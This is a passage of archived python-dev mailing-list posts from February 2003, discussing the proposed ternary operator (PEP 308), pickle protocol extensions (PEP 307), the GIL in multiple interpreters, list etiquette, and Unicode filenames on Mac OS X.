3 would > require different extension ranges. Actually, I was thinking more about Zope 4. ;-) My point was that for all the interaction between Python and Zope, they're separate software products, and I don't think the PSF should get involved in Zope version numbers. Just give the range to Zope and let them decide how to use it. This IMO sets a good precedent when it comes time to hand out ranges to other companies. -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ Register for PyCon now! http://www.python.org/pycon/reg.html From pje@telecommunity.com Fri Feb 7 19:49:31 2003 From: pje@telecommunity.com (Phillip J. Eby) Date: Fri, 07 Feb 2003 14:49:31 -0500 Subject: [Python-Dev] Re: Trinary Operators Message-ID: <5.1.1.6.0.20030207143519.026c00f0@mail.rapidsite.net> Guido van Rossum wrote: > print 1 if x and y else 0 Up until that example, I was actually thinking adding this to Python would be a good idea. But that looks just plain unreadable to me. Someone with a Perl background would also likely parse the above as meaning: if x and y: print 1 else: 0 Which is actually a sensible thing to say in Perl. Rendering the same example with parentheses: print (1 if (x and y) else 0) It's now less ambiguous, but looks like some sort of crazy infix Lisp. :( Maybe it would work better with parentheses required, and a little more verbosity? E.g.: print (return 1 if x and y else return 0) For chaining, the else return could be allowed to segue into a new clause: print (return 1 if x and y else return -1 if not z else return 0) Or more nicely formatted: print ( return 1 if x and y else return -1 if not z else return 0 ) Hm. I'm still not really convinced. From gsw@agere.com Fri Feb 7 20:26:04 2003 From: gsw@agere.com (Gerald S. Williams) Date: Fri, 7 Feb 2003 15:26:04 -0500 Subject: [Python-Dev] Sorry... In-Reply-To: Message-ID: I apologize for my last e-mail about the ternary operator FAQ. The python-dev digest hasn't quite caught up to the point where Guido asked us to please stop talking about it. Pretend I didn't say anything. I'll shut up now... -Jerry From guido@python.org Fri Feb 7 20:33:48 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 07 Feb 2003 15:33:48 -0500 Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol In-Reply-To: Your message of "Fri, 07 Feb 2003 14:49:55 EST." <20030207194955.GA17026@panix.com> References: <200302071833.h17IXNl11929@odiug.zope.com> <20030207190047.GA16810@panix.com> <200302071934.h17JYKF12138@odiug.zope.com> <20030207194955.GA17026@panix.com> Message-ID: <200302072033.h17KXmW12830@odiug.zope.com> > >> I'm mildly concerned about giving extension opcodes specifically to > >> "Zope 3". Is there some reason we shouldn't just make that "Zope"? > > > > I doubt that Zope 2 will ever be using pickle protocol 2. > > > > Anyway, the class names are all different, so Zope 2 and Zope 3 would > > require different extension ranges. > > Actually, I was thinking more about Zope 4. ;-) My point was that > for all the interaction between Python and Zope, they're separate > software products, and I don't think the PSF should get involved in > Zope version numbers. Just give the range to Zope and let them > decide how to use it. Sure. --Guido van Rossum (home page: http://www.python.org/~guido/) From bac@OCF.Berkeley.EDU Fri Feb 7 20:40:49 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Fri, 7 Feb 2003 12:40:49 -0800 (PST) Subject: [Python-Dev] Re: How to lose potential users/developers In-Reply-To: <2msmv0bbk4.fsf@starship.python.net> References: <2msmv0bbk4.fsf@starship.python.net> Message-ID: [Michael Hudson] > So, crazy idea for the morning. Split that sentence up: have one list > (probably the existing python-dev) where the future of the language is > discussed. Have another (python-implementors) where anything that > does not have a short-to-medium term effect on the code in Python CVS > is strictly forbidden. Can this be made to work? Or maybe the last > month or so has been the exception and this list will just naturally > reqcquire some of it's focus. > I am +0 on this. I would think that even more pie-in-the-sky ideas would come out if we had a list specifically garnered towards long-term ideas (unless, of course, we regulate subscriptions). And then my personal question becomes whether I will need to summarize two lists instead of one (I am guessing no; the one dealing with the blue-sky issues will need it more than the other one). -Brett From esr@thyrsus.com Fri Feb 7 21:42:05 2003 From: esr@thyrsus.com (Eric S. Raymond) Date: Fri, 7 Feb 2003 16:42:05 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: <200302071635.h17GZiH08209@odiug.zope.com> References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <20030207145935.GA2943@hishome.net> <200302071506.h17F6g902453@odiug.zope.com> <200302071635.h17GZiH08209@odiug.zope.com> Message-ID: <20030207214205.GB30129@thyrsus.com> Guido van Rossum : > OK, I'll write a PEP (I doubt waiting for Eric is gonna pay off). Surprise. It might. My trip to Boston tonight got canned, and I have nothing else on my schedule. -- Eric S. Raymond From esr@thyrsus.com Fri Feb 7 21:44:02 2003 From: esr@thyrsus.com (Eric S. Raymond) Date: Fri, 7 Feb 2003 16:44:02 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: <200302071710.h17HAil08991@odiug.zope.com> References: <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <20030207145935.GA2943@hishome.net> <200302071506.h17F6g902453@odiug.zope.com> <200302071635.h17GZiH08209@odiug.zope.com> <20030207165226.GA21789@panix.com> <200302071710.h17HAil08991@odiug.zope.com> Message-ID: <20030207214402.GC30129@thyrsus.com> Guido van Rossum : > I think you can't separate the two votes so easily. If I vote for a > ternary operator, but then something with an ugly syntax wins the > design contest, I may wish I had voted against in the first place. It's say vote "for" the first, and if you don't like the second exert your BDFL veto. I don't think anybody would kick -- and if they do I'll give 'em a stiff talking-to. -- Eric S. Raymond From guido@python.org Fri Feb 7 21:59:42 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 07 Feb 2003 16:59:42 -0500 Subject: [Python-Dev] Re: Trinary Operators In-Reply-To: Your message of "Fri, 07 Feb 2003 16:42:05 EST." <20030207214205.GB30129@thyrsus.com> References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <20030207145935.GA2943@hishome.net> <200302071506.h17F6g902453@odiug.zope.com> <200302071635.h17GZiH08209@odiug.zope.com> <20030207214205.GB30129@thyrsus.com> Message-ID: <200302072159.h17Lxgp14761@odiug.zope.com> > Guido van Rossum : > > OK, I'll write a PEP (I doubt waiting for Eric is gonna pay off). [Eric] > Surprise. It might. My trip to Boston tonight got canned, and I > have nothing else on my schedule. Too late. :-) See PEP 308. > Guido van Rossum : > > I think you can't separate the two votes so easily. If I vote for a > > ternary operator, but then something with an ugly syntax wins the > > design contest, I may wish I had voted against in the first place. > > It's say vote "for" the first, and if you don't like the second exert > your BDFL veto. I don't think anybody would kick -- and if they do I'll > give 'em a stiff talking-to. OK, I think you saw the PEP then. :-) But the voting procedure is up to c.l.py. Let's see them screw this one up. :-) --Guido van Rossum (home page: http://www.python.org/~guido/) From andymac@bullseye.apana.org.au Sat Feb 8 00:05:59 2003 From: andymac@bullseye.apana.org.au (Andrew MacIntyre) Date: Sat, 8 Feb 2003 10:05:59 +1000 (est) Subject: [Python-Dev] Re: How to lose potential users/developers In-Reply-To: <20030207174725.W1706@prim.han.de> Message-ID: On Fri, 7 Feb 2003, holger krekel wrote: > I am glad that Guido brings up the issue of 'tone of redirection > messages' and support the idea of doing it in the friendliest > way possible. If someone insists and disregards comments then > that is a different matter, of course. Is it unreasonable to expect straight forward redirections (ie "please take this to python-list/c.l.py") be done via private mail alone rather than including python-dev as a cc? -- Andrew I MacIntyre "These thoughts are mine alone..." E-mail: andymac@bullseye.apana.org.au | Snail: PO Box 370 andymac@pcug.org.au | Belconnen ACT 2616 Web: http://www.andymac.org/ | Australia From aahz@pythoncraft.com Sat Feb 8 00:40:13 2003 From: aahz@pythoncraft.com (Aahz) Date: Fri, 7 Feb 2003 19:40:13 -0500 Subject: [Python-Dev] Re: How to lose potential users/developers In-Reply-To: References: <20030207174725.W1706@prim.han.de> Message-ID: <20030208004013.GA9370@panix.com> On Sat, Feb 08, 2003, Andrew MacIntyre wrote: > On Fri, 7 Feb 2003, holger krekel wrote: >> >> I am glad that Guido brings up the issue of 'tone of redirection >> messages' and support the idea of doing it in the friendliest >> way possible. If someone insists and disregards comments then >> that is a different matter, of course. > > Is it unreasonable to expect straight forward redirections (ie "please > take this to python-list/c.l.py") be done via private mail alone rather > than including python-dev as a cc? It's not unreasonable, but I do it so that other python-dev people know that it's been done, which avoids wasting time and the dogpile effect. -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ Register for PyCon now! http://www.python.org/pycon/reg.html From guido@python.org Sat Feb 8 00:52:27 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 07 Feb 2003 19:52:27 -0500 Subject: [Python-Dev] Re: How to lose potential users/developers In-Reply-To: "Your message of Sat, 08 Feb 2003 10:05:59 +1000." References: Message-ID: <200302080052.h180qSK01335@pcp02138704pcs.reston01.va.comcast.net> > > I am glad that Guido brings up the issue of 'tone of redirection > > messages' and support the idea of doing it in the friendliest > > way possible. If someone insists and disregards comments then > > that is a different matter, of course. > > Is it unreasonable to expect straight forward redirections (ie "please > take this to python-list/c.l.py") be done via private mail alone rather > than including python-dev as a cc? The problem is that if the list doesn't get cc'ed, a mistaken post is likely to elicit several or even many private responses. So let's keep these responses going to the list. --Guido van Rossum (home page: http://www.python.org/~guido/) From tim.one@comcast.net Sat Feb 8 02:41:04 2003 From: tim.one@comcast.net (Tim Peters) Date: Fri, 07 Feb 2003 21:41:04 -0500 Subject: [Python-Dev] Re: How to lose potential users/developers In-Reply-To: <20030208004013.GA9370@panix.com> Message-ID: [Andrew MacIntyre] > Is it unreasonable to expect straight forward redirections (ie "please > take this to python-list/c.l.py") be done via private mail alone rather > than including python-dev as a cc? [Aahz] > It's not unreasonable, but I do it so that other python-dev people know > that it's been done, which avoids wasting time and the dogpile effect. There's another reason it won't happen: I know python-dev@python.org is a legit email address. Half the time I use an address from a random netizen, it bounces (usually due to "anti spam" gimmickery in the address), and the whole exercise becomes a double waste of time. There's a fine line between not being helpful and being rude all the same . From tim.one@comcast.net Sat Feb 8 04:16:20 2003 From: tim.one@comcast.net (Tim Peters) Date: Fri, 07 Feb 2003 23:16:20 -0500 Subject: [Python-Dev] Why is the GIL not in PyInterpreterState? In-Reply-To: Message-ID: [Tobias Oberstein] > Is there a reason why PyInterpreterState is not defined like so: > > typedef struct _is { > .. > PyThread_type_lock interpreter_lock; > PyThreadState *_PyThreadState_Current; > .. > } PyInterpreterState; > > which could be the basis for support of multiple, separated > interpreters within a single process. The GIL is a process-level lock now, and must be now -- pretending each thread had its own GIL wouldn't work (unless they all happened to be the same GIL). The docs for Py_NewInterpreter explain some of the problems: http://www.python.org/doc/current/api/initialization.html but there are many others. As a simple example of another, integer objects are allocated out of a special free list, and code manipulating that list implicitly assumes it has exclusive access to the list. This is so given the process-level GIL. > ... > Would it be so hard to proceed like indicated below? Nobody knows -- you'll have to try it and see. But I see Mark already tried to depress you, so I won't belabor it . OTOH, if your goal is N completely independent interpreters, why not fire up N processes? Then independence comes for free and you don't have to change a thing. If the answer is that you don't really want them to be *completely* independent, then maintaining the refcounts on the objects you want them to share will be a nightmare: every Py_INCREF and Py_DECREF in the codebase also relies on the process-level GIL for proper operation. From python@rcn.com Sat Feb 8 05:04:22 2003 From: python@rcn.com (Raymond Hettinger) Date: Sat, 8 Feb 2003 00:04:22 -0500 Subject: [Python-Dev] Re: Quantifiers Was: Trinary Operators References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <20030207145935.GA2943@hishome.net> <200302071506.h17F6g902453@odiug.zope.com> <055b01c2cec4$ed430720$6d94fea9@newmexico> Message-ID: <012c01c2cf2f$8bdfaea0$4f10a044@oemcomputer> [Oren Tirosh] > > > Oh dear. If you are really going to do these these cutesy English-like > > > expressions I'd have to resurrect my old proposal of: > > > > > > if CONDITION for some NAME in ITERABLE: > > > if CONDITION for every NAME in ITERABLE: > > > if CONDITION for no NAME in ITERABLE: [Samuele Pedroni] > I would not dislike to have expression forms equivalent to applications of > > def every(pred,l): > for x in l: > if not pred(x): return False > return True > > def some(pred,l): > for x in in l: > if pred(x): return True > return False > > def such(pred,l,otherwise=None): > for x in in l: > if pred(x): return x > return otherwise > > as list comprehension is equivalent to map and filter. BTW, quantifiers can be efficiently implemented using functions in the itertools module. I'll add an example to the docs. Raymond Hettinger From Tobias.Oberstein@gmx.de Sat Feb 8 09:31:41 2003 From: Tobias.Oberstein@gmx.de (Tobias Oberstein) Date: Sat, 8 Feb 2003 10:31:41 +0100 Subject: [Python-Dev] Why is the GIL not in PyInterpreterState? In-Reply-To: Message-ID: Thanks for replying, I now see the kinds of problems much clearer: 1. global interpreter/VM state 2. global state in object implementations 3. global state in extension modules 4. shared process resources (file descriptors,..) .. that is 1,2 could in principle be fixed, but heavy work 3 unlikely ever (for all modules) 4 not a bug, but a feature > OTOH, if your goal is N completely independent interpreters, why > not fire up > N processes? Then independence comes for free and you don't have > to change > a thing. If the answer is that you don't really want them to be > *completely* independent, then maintaining the refcounts on the > objects you > want them to share will be a nightmare: every Py_INCREF and Py_DECREF in > the codebase also relies on the process-level GIL for proper operation. > I only want to share state via objects of a special extension class X, which wraps up an OODBMS (which is the embedding application) and takes care of the necessary synchronisation on it's own. X should be subclassable in Python. I want to do it within a single process, because I don't want a OS context switch on every method call to objects of class X. In a perfect world, problems 1,2 of above would be fixed, I would only use "nice" modules which obey 3 of above, won't care about 4 and would end up with either a) each VM has exactly one OS thread or b) each VM has at least on OS thread Thus, a) required no locking at all and b) required a "global" lock per VM. Greets, Tobias From mal@lemburg.com Sat Feb 8 15:03:57 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Sat, 08 Feb 2003 16:03:57 +0100 Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol In-Reply-To: <200302071833.h17IXNl11929@odiug.zope.com> References: <200302071833.h17IXNl11929@odiug.zope.com> Message-ID: <3E451C5D.7030801@lemburg.com> Guido van Rossum wrote: > I'm assuming a fair number of people have been following this already > in the checkins list; I think it's ready for review on python-dev: > > http://www.python.org/peps/pep-0307.html > > Quoting the introduction: > > Pickling new-style objects in Python 2.2 is done somewhat clumsily > and causes pickle size to bloat compared to classic class > instances. This PEP documents a new pickle protocol in Python 2.3 > that takes care of this and many other pickle issues. > > There are two sides to specifying a new pickle protocol: the byte > stream constituting pickled data must be specified, and the > interface between objects and the pickling and unpickling engines > must be specified. This PEP focuses on API issues, although it > may occasionally touch on byte stream format details to motivate a > choice. The pickle byte stream format is documented formally by > the standard library module pickletools.py (already checked into > CVS for Python 2.3). > > This PEP attempts to fully document the interface between pickled > objects and the pickling process, highlighting additions by > specifying "new in this PEP". (The interface to invoke pickling > or unpickling is not covered fully, except for the changes to the > API for specifying the pickling protocol to picklers.) That's nice to have :-) (previously I had to look those things up in the code itself... to the point where I simply didn't understand the various gimmicks) As long as pickle.py stays backwards compatible w/r to subclasses, I don't mind having a better alternative for the future at hand :-) If you do change the APIs, though, I'd consider adding new classes for Pickler and Unpickler (even if you have changed interna, because existing subclasses are likely to have been built on these as well simply because the code was never properly documented -- I know, because I did exactly this couple of time :-). Will cPickle also be updated according to the new features in pickle.py ? -- Marc-Andre Lemburg CEO eGenix.com Software GmbH _______________________________________________________________________ eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,... Python Consulting: http://www.egenix.com/ Python Software: http://www.egenix.com/files/python/ From tim.one@comcast.net Sat Feb 8 16:49:52 2003 From: tim.one@comcast.net (Tim Peters) Date: Sat, 08 Feb 2003 11:49:52 -0500 Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol In-Reply-To: <3E451C5D.7030801@lemburg.com> Message-ID: [M.-A. Lemburg] > That's nice to have :-) (previously I had to look those things > up in the code itself... to the point where I simply didn't > understand the various gimmicks) Me neither -- I could never see the forest for the trees, although old-style classes pickled and unpickled so easily by magic that I never really tried before either. It turns out there was a conceptually simple plan all along. But by the time you write down all the details, you get Guido's 10-page PEP, and in some sense there are even more trees now obscuring a clear view of the tidy pickle hamlet. > As long as pickle.py stays backwards compatible w/r to subclasses, > I don't mind having a better alternative for the future at hand :-) > > If you do change the APIs, though, I'd consider adding new > classes for Pickler and Unpickler (even if you have changed > interna, because existing subclasses are likely to have been > built on these as well simply because the code was never > properly documented -- I know, because I did exactly this couple > of time :-). I'm not sure what you're saying. If you have a subclass today, it should continue to work. Although pickle.py's Pickler internals were reworked to key off a new "proto" attr in some places for protocol 2, the old "bin" attr is still there, and set to self.proto > 1. I suppose an existing subclass with its own .proto attr could get screwed. > Will cPickle also be updated according to the new features > in pickle.py ? Yup, and most (11 of 12) of the new opcodes are already implemented in cPickle, and new tests for them in pickletester.py are run by both test_pickle.py and test_cpickle.py. From tim.one@comcast.net Sat Feb 8 17:07:20 2003 From: tim.one@comcast.net (Tim Peters) Date: Sat, 08 Feb 2003 12:07:20 -0500 Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol In-Reply-To: Message-ID: [Tim] > ... > Although pickle.py's Pickler internals were reworked to key off a new > "proto" attr in some places for protocol 2, the old "bin" attr > is still there, and set to self.proto > 1. Grrrr. self.bin is set to self.proto > 0, of course. My apologies! From mal@lemburg.com Sat Feb 8 17:16:34 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Sat, 08 Feb 2003 18:16:34 +0100 Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol In-Reply-To: References: Message-ID: <3E453B72.3050101@lemburg.com> Tim Peters wrote: > [M.-A. Lemburg] > >>That's nice to have :-) (previously I had to look those things >>up in the code itself... to the point where I simply didn't >>understand the various gimmicks) > > Me neither -- I could never see the forest for the trees, although old-style > classes pickled and unpickled so easily by magic that I never really tried > before either. It turns out there was a conceptually simple plan all along. > But by the time you write down all the details, you get Guido's 10-page PEP, > and in some sense there are even more trees now obscuring a clear view of > the tidy pickle hamlet. Which make me think: wouldn't a complete redesign from scratch under a new name provide more room for optimizations ? (after all, you are doing this for Zope's ZODB, right ?) >>As long as pickle.py stays backwards compatible w/r to subclasses, >>I don't mind having a better alternative for the future at hand :-) >> >>If you do change the APIs, though, I'd consider adding new >>classes for Pickler and Unpickler (even if you have changed >>interna, because existing subclasses are likely to have been >>built on these as well simply because the code was never >>properly documented -- I know, because I did exactly this couple >>of time :-). > > I'm not sure what you're saying. If you have a subclass today, it should > continue to work. Although pickle.py's Pickler internals were reworked to > key off a new "proto" attr in some places for protocol 2, the old "bin" attr > is still there, and set to self.proto > 1. I suppose an existing subclass > with its own .proto attr could get screwed. I'm not using that. What I am using are the .save_*() and .load_*() method signatures and the .file attribute; plus the .disptach table, of course, which I have to update after overriding the methods. >>Will cPickle also be updated according to the new features >>in pickle.py ? > > Yup, and most (11 of 12) of the new opcodes are already implemented in > cPickle, and new tests for them in pickletester.py are run by both > test_pickle.py and test_cpickle.py. Cool :-) -- Marc-Andre Lemburg CEO eGenix.com Software GmbH _______________________________________________________________________ eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,... Python Consulting: http://www.egenix.com/ Python Software: http://www.egenix.com/files/python/ From paul@pfdubois.com Sat Feb 8 17:46:48 2003 From: paul@pfdubois.com (Paul F Dubois) Date: Sat, 8 Feb 2003 09:46:48 -0800 Subject: [Python-Dev] vox populii illiterati In-Reply-To: <20030208170008.22468.17334.Mailman@mail.python.org> Message-ID: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> I very much appreciate Guido putting forward a PEP on if expressions, = but I must say the idea of letting c.l.p 'vote' on it is unwelcome. Voting = only makes sense when an electorate is educated enough to properly understand = the proposition and its consequences; the discussion so far makes clear that that isn't true. Programming languages need to be designed, not agglutinated. (Otherwise you get Perl and Fortran 2000 (:->) I think it is fair to say that being the head designer of a language can lead to frustration at times; I had to endure it on a much smaller scale = and it was very hard to keep patiently explaining how the features had to = fit together, and how they had to be both parseable and implementable and learnable, and that not every little difficulty is worth a language = feature. In the cases of several of the features adopted recently, a quick = inspection has initially led me to believe that the feature was not interesting but study showed that it was. I just don't think you can delegate this kind = of study to a group that is mostly inexperienced even at programming much = less language design.=20 I want my BDFL. As Davy Crockett said, "Be sure you're right, then go ahead." Paul Dubois From guido@python.org Sat Feb 8 18:30:21 2003 From: guido@python.org (Guido van Rossum) Date: Sat, 08 Feb 2003 13:30:21 -0500 Subject: [Python-Dev] vox populii illiterati In-Reply-To: "Your message of Sat, 08 Feb 2003 09:46:48 PST." <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> Message-ID: <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> > I very much appreciate Guido putting forward a PEP on if > expressions, but I must say the idea of letting c.l.p 'vote' on it > is unwelcome. Voting only makes sense when an electorate is educated > enough to properly understand the proposition and its consequences; > the discussion so far makes clear that that isn't true. Programming > languages need to be designed, not agglutinated. (Otherwise you get > Perl and Fortran 2000 (:->) Part of my "cunning plan" is to show that indeed this doesn't work. I'm hoping you will forgive me this once-only Macchiavellian move. :-) > I think it is fair to say that being the head designer of a language > can lead to frustration at times; I had to endure it on a much > smaller scale and it was very hard to keep patiently explaining how > the features had to fit together, and how they had to be both > parseable and implementable and learnable, and that not every little > difficulty is worth a language feature. I admit I've lost some of my patience. Showing that there is immense resistance to if-then-else expressions (even if there is also a lot of pressure to add them) would make it easier in the future to explain why they aren't there. Or vice versa. > In the cases of several of the features adopted recently, a quick > inspection has initially led me to believe that the feature was not > interesting but study showed that it was. I just don't think you can > delegate this kind of study to a group that is mostly inexperienced > even at programming much less language design. > > I want my BDFL. As Davy Crockett said, "Be sure you're right, then > go ahead." But in this case, I can't made up my mind! And as long as I haven't made up my mind, I won't add it. Hmm... Well, I think right now I don't need if-then-else expressions enough to want them. I just examined a fairly large (> 1300 lines) module that I recently spent a lot of time with, looking for places where I could use it. I found a dozen places where there was an if-else construct with similar one-line then and else branches that could easily be rewritten as a single line using an if-then-else expression. But I'm not at all convinced that the resulting code is any more understandable (even though it's shorter by three dozen lines). --Guido van Rossum (home page: http://www.python.org/~guido/) From tim.one@comcast.net Sat Feb 8 18:42:20 2003 From: tim.one@comcast.net (Tim Peters) Date: Sat, 08 Feb 2003 13:42:20 -0500 Subject: [Python-Dev] vox populii illiterati In-Reply-To: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> Message-ID: [Paul F Dubois] > I very much appreciate Guido putting forward a PEP on if expressions, > but I must say the idea of letting c.l.p 'vote' on it is unwelcome. > Voting only makes sense when an electorate is educated enough to > properly understand the proposition and its consequences; the discussion > so far makes clear that that isn't true. Programming languages need to > be designed, not agglutinated. (Otherwise you get Perl and Fortran > 2000 (:->) I'd like to put a different light on it: this is more of a vote taken within a single-parent family, where the kids disagree and the parent doesn't favor any particular outcome, but is weary of enduring the bickering. In that sense it's like the last time Guido asked for a vote: do people want imaginary literals to be spelled with "i" or "j"? He didn't care which won, but was very keen to get the whining out of his inbox. This one is more complicated, because the pros and cons on both sides are subtler. But after more than a decade of listening to this debate, neither side makes a compelling case in Guido's eyes, and on balance he thinks Python will be fine either way (when he said he was neither in favor of nor opposed to the PEP, he meant it). > I think it is fair to say that being the head designer of a language can > lead to frustration at times; I had to endure it on a much smaller scale > and it was very hard to keep patiently explaining how the features had > to fit together, and how they had to be both parseable and implementable > and learnable, and that not every little difficulty is worth a > language feature. Yup, and I expect anyone who has written a program with a user other than themself has experienced this to some degree too. > In the cases of several of the features adopted recently, a quick > inspection has initially led me to believe that the feature was not > interesting but study showed that it was. I just don't think you can > delegate this kind of study to a group that is mostly inexperienced > even at programming much less language design. In this case, the issue has been studied by Guido for 10+ years off and on, but no overall winner, based on his inscrutable design criteria(*), has become apparent. > I want my BDFL. As Davy Crockett said, "Be sure you're right, then go > ahead." Don't worry: Guido may let us decide whether we want Coke or Pepsi from time to time, but we'll still go to bed when he tells us to . (*) By my design criteria, I want the ternary functionality, but find all spellings proposed to date unattractive. I'm not sure how much that channels Guido's feelings about it. I believe he wants the functionality less than I do, but finds the proposed spelling more attractive ("less repuslive" may be more accurate) than I do. Either way, it's a wash. From tim.one@comcast.net Sat Feb 8 18:46:00 2003 From: tim.one@comcast.net (Tim Peters) Date: Sat, 08 Feb 2003 13:46:00 -0500 Subject: [Python-Dev] vox populii illiterati In-Reply-To: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> Message-ID: [Paul F Dubois] > I very much appreciate Guido putting forward a PEP on if expressions, > but I must say the idea of letting c.l.p 'vote' on it is unwelcome. > Voting only makes sense when an electorate is educated enough to > properly understand the proposition and its consequences; the discussion > so far makes clear that that isn't true. Programming languages need to > be designed, not agglutinated. (Otherwise you get Perl and Fortran > 2000 (:->) I'd like to put a different light on it: this is more of a vote taken within a single-parent family, where the kids disagree and the parent doesn't favor any particular outcome, but is weary of the bickering. In that sense it's like the last time Guido asked for a vote: do people want imaginary literals to be spelled with "i" or "j"? He didn't care which won, but was very keen to get the whining out of his inbox. This one is more complicated, because the pros and cons on both sides are subtler. But after more than a decade of listening to this debate, neither side makes a compelling case in Guido's eyes, and on balance he thinks Python will be fine either way (when he said he was neither in favor of nor opposed to the PEP, he meant it). > I think it is fair to say that being the head designer of a language can > lead to frustration at times; I had to endure it on a much smaller scale > and it was very hard to keep patiently explaining how the features had > to fit together, and how they had to be both parseable and implementable > and learnable, and that not every little difficulty is worth a > language feature. Yup, and I expect anyone who has written a program with a user other than themself has experienced this to some degree too. > In the cases of several of the features adopted recently, a quick > inspection has initially led me to believe that the feature was not > interesting but study showed that it was. I just don't think you can > delegate this kind of study to a group that is mostly inexperienced > even at programming much less language design. In this case, the issue has been studied by Guido for 10+ years off and on, but no overall winner, based on his inscrutable design criteria(*), has become apparent. > I want my BDFL. As Davy Crockett said, "Be sure you're right, then go > ahead." Don't worry: Guido may let us decide whether we want Coke or Pepsi from time to time, but we'll still go to bed when he tells us to . (*) By my design criteria, I want the ternary functionality, but find all spellings proposed to date unattractive. I'm not sure how much that channels Guido's feelings about it. I believe he wants the functionality less than I do, but finds the proposed spelling more attractive than I do ("less repulsive" may be more accurate). Either way, it's a wash. From tim.one@comcast.net Sat Feb 8 18:55:59 2003 From: tim.one@comcast.net (Tim Peters) Date: Sat, 08 Feb 2003 13:55:59 -0500 Subject: [Python-Dev] vox populii illiterati In-Reply-To: Message-ID: Oops! Didn't mean to send that twice -- the machine crashed the first time, and I assumed it hadn't gone out. From DavidA@ActiveState.com Sun Feb 9 04:39:51 2003 From: DavidA@ActiveState.com (David Ascher) Date: Sat, 08 Feb 2003 20:39:51 -0800 Subject: [Python-Dev] vox populii illiterati References: Message-ID: <3E45DB97.6060106@ActiveState.com> Tim Peters wrote: >Oops! Didn't mean to send that twice -- the machine crashed the first time, >and I assumed it hadn't gone out. > I'm going to put forth a motion at PyCon to pool some money to buy Tim a real machine with a real OS... --david From tim_one@email.msn.com Sun Feb 9 08:20:58 2003 From: tim_one@email.msn.com (Tim Peters) Date: Sun, 9 Feb 2003 03:20:58 -0500 Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle protocol In-Reply-To: <3E453B72.3050101@lemburg.com> Message-ID: [M.-A. Lemburg] > Which make me think: wouldn't a complete redesign from scratch under > a new name provide more room for optimizations ? PLabs doesn't have time for that (or are you volunteering ?), and it's unclear that there's significant room for optimization anyway. There's really no fat in the current scheme for Python's builtin types or classic classes, and protocol 2 was mostly about cutting the fat for new-style classes. Some of proto 2 is even 2nd- or 3rd-order optimization, such as minimizing the temp space required when unpickling large lists and dicts, and implementing iinear-time pickling of Python longs. The only obvious waste now seems the production of many useless PUT (including its proto 1 variants) opcodes, but there's no way to stop that without turning pickling into a multipass process. Then it costs more pickling time and temp memory to reduce pickle size and to reduce unpickling time and temp memory by some unknown amount. I don't know of any pure wins to be had. > (after all, you are doing this for Zope's ZODB, right ?) That's probably Zope Corp's primary interest. I started whining about it for the datetime module's objects, which proved *almost* impossible to pickle efficiently in proto 1. Lots of stuff was added to proto 2 to address that. In the end, though, Guido found a clean way to pickle datetime module objects under proto 1, at the cost of giving the objects slightly bizarre __new__ methods. > ... > I'm not using that. What I am using are the .save_*() > and .load_*() method signatures and the .file attribute; > plus the .disptach table, of course, which I have to update > after overriding the methods. Those all still exist, but there's not enough detail here to say much more than that. If, for example, you're overriding save_dict(), then of course you're not going to get the "batching" optimizations implemented in 2.3 pickle.py's save_dict() (these reduce temp space needed when unpickling large dicts, and produce proto 1 opcodes, so they're of some value even if you're not using proto 2). From just@letterror.com Sun Feb 9 08:41:00 2003 From: just@letterror.com (Just van Rossum) Date: Sun, 9 Feb 2003 09:41:00 +0100 Subject: [Python-Dev] Unicode source code Message-ID: Now that PEP 263 is in place (yet hotly debated on c.l.py ;-), wouldn't it be fairly small step to fully support unicode strings in compile(), eval() and exec? I notice these still attempt to convert unicode to 8 bit with the default encoding, which isn't very useful. Just From just@letterror.com Sun Feb 9 11:59:51 2003 From: just@letterror.com (Just van Rossum) Date: Sun, 9 Feb 2003 12:59:51 +0100 Subject: [Python-Dev] Unicode filenames Message-ID: MacOSX fully supports unicode filenames (utf-8 is used throughout), and I'm tempted to set Py_FileSystemDefaultEncoding to "utf8" for OSX. Jack pointed me to a long thread about unicode filenames that took place on python-dev last year, but I can't deduce from it whether there are any disadvantages of setting Py_FileSystemDefaultEncoding. Setting it seems to work wonderful. However, I'm a bit surprised that os.listdir() doesn't return unicode strings. Is that because it would break too much code? BTW. if I try to create a file with an 8-bit filename which is _not_ valid utf-8, I get a strange error: >>> f = open("\xff", "w") Traceback (most recent call last): File "", line 1, in ? IOError: invalid mode: w >>> This exception is thrown when errno is EINVAL, which 